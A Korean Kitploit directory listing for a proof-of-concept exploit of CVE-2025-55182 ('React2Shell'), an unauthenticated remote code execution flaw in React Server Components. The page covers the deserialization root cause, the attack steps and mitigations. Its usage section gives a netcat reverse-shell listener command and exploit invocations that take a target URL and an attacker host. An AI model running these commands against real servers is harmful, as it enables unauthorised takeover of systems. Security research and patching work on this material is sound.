Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2025-55182-React2Shell-RCE — CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, 제작된 Flight 프로토콜 페이로드를 통해 React Server Components에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다. | Kitploit
도구/GitHubGitHub/herick-costa/cve-2025-55182-react2shell-rce
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingLearning & EducationRemote Access Tool

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
herick-costa/cve-2025-55182-react2shell-rce

CVE-2025-55182-React2Shell-RCE

CVE-2025-55182 (React2Shell)에 대한 개념 증명 익스플로잇으로, 제작된 Flight 프로토콜 페이로드를 통해 React Server Components에서 발생하는 인증되지 않은 원격 코드 실행 취약점입니다.

저장소 보기
1113개월 전아직 검토되지 않음

CVE CVSS RCE Status

CVE-2025-55182 - React2Shell (React Server Components의 인증되지 않은 RCE)

CVE-2025-55182, 일명 React2Shell은 React Server Components 패키지(버전 19.0, 19.1.0, 19.1.1, 19.2.0)에 영향을 미치는 심각한 인증되지 않은 원격 코드 실행(RCE) 취약점입니다.

이 취약점으로 인해 공격자는 인증 없이 단일 조작된 HTTP 요청을 통해 취약한 서버에서 임의 코드 실행을 달성할 수 있습니다.


개요

React Server Components는 클라이언트와 서버 간에 교환되는 컴포넌트 데이터를 직렬화 및 역직렬화하기 위해 Flight 프로토콜을 사용합니다.

이 역직렬화 과정에서의 부적절한 검증으로 인해 특수하게 조작된 페이로드가 내부 객체 구조를 조작하고 위험한 JavaScript 실행 기본 요소에 도달할 수 있습니다.


근본 원인

취약점은 React Server Components(RSC) Flight 프로토콜 페이로드의 역직렬화 중 충분하지 않은 검증에서 비롯됩니다.

특수하게 조작된 페이로드는 다음을 수행할 수 있습니다:

  • 내부 객체 구조 조작
  • JavaScript 프로토타입 체인 탐색
  • 위험한 JavaScript 생성자 접근
  • 서버에서 임의 코드 실행 달성

작동 방식

  1. 익스플로잇은 특수하게 조작된 multipart/form-data 요청을 보냅니다.
  2. 서버는 이 요청을 React Flight 페이로드로 해석합니다.
  3. 역직렬화 과정에서 악의적인 청크가 처리됩니다.
  4. 페이로드는:
    • 내부 실행 흐름을 조작합니다.
    • 위험한 JavaScript 실행 기본 요소에 도달합니다.
    • 임의 코드를 실행합니다.
  5. 공격자는 대상 서버에서 원격 코드 실행을 획득합니다.

🚀 사용법

자신의 머신에서 리스너를 시작하세요:

nc -lvnp 4444

익스플로잇 실행:

python3 CVE-2025-55182-React2Shell.py <TARGET_URL> <LHOST>
python3 CVE-2025-55182-React2Shell.py http://192.168.56.101:3000/ 192.168.56.100

요구 사항

  • 취약한 React / Next.js 버전
  • 서버 측 React Server Components 활성화
  • 접근 가능한 RSC 엔드포인트

완화 조치

이 취약점을 완화하려면:

  • 사용 가능한 최신 패치된 React 릴리스로 업그레이드
  • 제공되는 프레임워크 패치 적용
  • 의심스러운 RSC 요청 모니터링 및 차단

참고 자료

  • OffSec – CVE-2025-55182 익스플로잇 분석
  • Microsoft Security – React2Shell 방어
  • React 보안 권고 (공식 공개)

면책 조항

이 프로젝트는 다음 목적으로만 엄격히 제공됩니다:

  • 보안 연구
  • 교육 목적
  • 승인된 보안 평가 및 침투 테스트

저자는 본 자료의 오용이나 이로 인한 손해에 대해 책임을 지지 않습니다. 사용자는 관련 법률 및 규정을 준수할 전적인 책임이 있습니다.

도구 다운로드